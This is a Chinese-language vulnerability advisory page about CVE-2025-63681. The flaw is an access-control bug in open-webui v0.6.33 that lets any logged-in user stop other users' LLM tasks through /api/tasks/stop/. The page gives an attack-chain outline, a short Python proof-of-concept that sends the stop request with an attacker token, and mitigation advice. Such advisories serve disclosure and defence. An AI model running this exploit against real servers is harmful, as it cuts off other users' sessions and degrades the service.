IPBUF安全漏洞报告
English
CVE-2025-63681 CVSS 4.3 中危

CVE-2025-63681 open-webui任务停止API访问控制漏洞

披露日期: 2025-12-04

漏洞信息

漏洞编号
CVE-2025-63681
漏洞类型
访问控制不当
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
open-webui

相关标签

访问控制API安全open-webui权限绕过任务调度漏洞CVE-2025-63681

漏洞概述

open-webui v0.6.33版本中存在一处严重的访问控制漏洞。该漏洞位于API端点/api/tasks/stop/,攻击者(普通权限用户)可以通过该API直接停止任意用户的LLM(大语言模型)响应任务,而无需验证任务所有权。这意味着任何认证用户都可以中断其他用户的AI对话任务,可能导致服务中断、用户体验下降以及敏感信息泄露风险。攻击者利用此漏洞可以批量终止其他用户的任务,造成服务拒绝(DoS)效果,同时影响系统的可用性和完整性。由于该API缺少所有权验证机制,攻击者只需知道目标任务的task_id即可执行恶意操作,无需特殊权限。

技术细节

漏洞根源在于open-webui的/api/tasks/stop/端点缺少用户所有权验证逻辑。当用户调用该API停止任务时,服务器直接根据传入的task_id参数执行任务取消操作,而没有检查当前认证用户是否为该任务的创建者或拥有者。攻击者只需使用正常用户账号登录系统,然后构造恶意请求,指定任意task_id即可终止不属于自己的任务。技术实现细节:后端main.py第1652行附近的代码直接调用任务停止函数,缺少user_id与task的owner_id匹配验证。攻击者可以通过遍历或猜测task_id来批量停止其他用户任务。修复方案应在执行停止操作前添加用户身份验证,确保只有任务所有者才能终止自己的任务。

攻击链分析

STEP 1
步骤1
攻击者获取open-webui普通用户账号并登录系统
STEP 2
步骤2
攻击者通过正常浏览或API调用获取其他用户的task_id(可通过遍历或信息泄露获取)
STEP 3
步骤3
攻击者构造恶意POST请求到/api/tasks/stop/端点,指定目标task_id
STEP 4
步骤4
服务器端缺少所有权验证,直接执行任务停止操作
STEP 5
步骤5
目标用户的LLM响应任务被恶意终止,造成服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-63681 PoC - Arbitrary Task Stop in open-webui # Target: open-webui v0.6.33 # Vulnerability: Missing ownership verification in /api/tasks/stop/ API TARGET_URL = "http://target-server:3000" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_TASK_ID = "victim_task_id_here" # Replace with target task ID def stop_arbitrary_task(): """ Stop arbitrary LLM response tasks without ownership verification. This PoC demonstrates how an authenticated attacker can stop any task. """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Construct the malicious request to stop arbitrary task payload = { "task_id": TARGET_TASK_ID } endpoint = f"{TARGET_URL}/api/tasks/stop/" try: response = requests.post(endpoint, json=payload, headers=headers) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Task stopped successfully!") return True else: print("[-] Failed to stop task") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": print("CVE-2025-63681 PoC - open-webui Arbitrary Task Stop") print("=" * 50) stop_arbitrary_task()

影响范围

open-webui v0.6.33

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制/api/tasks/stop/端点的访问频率和来源IP。同时监控异常的任务停止请求模式,及时发现和阻止恶意攻击行为。建议在修复版本发布前,对API访问进行严格的网络层访问控制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表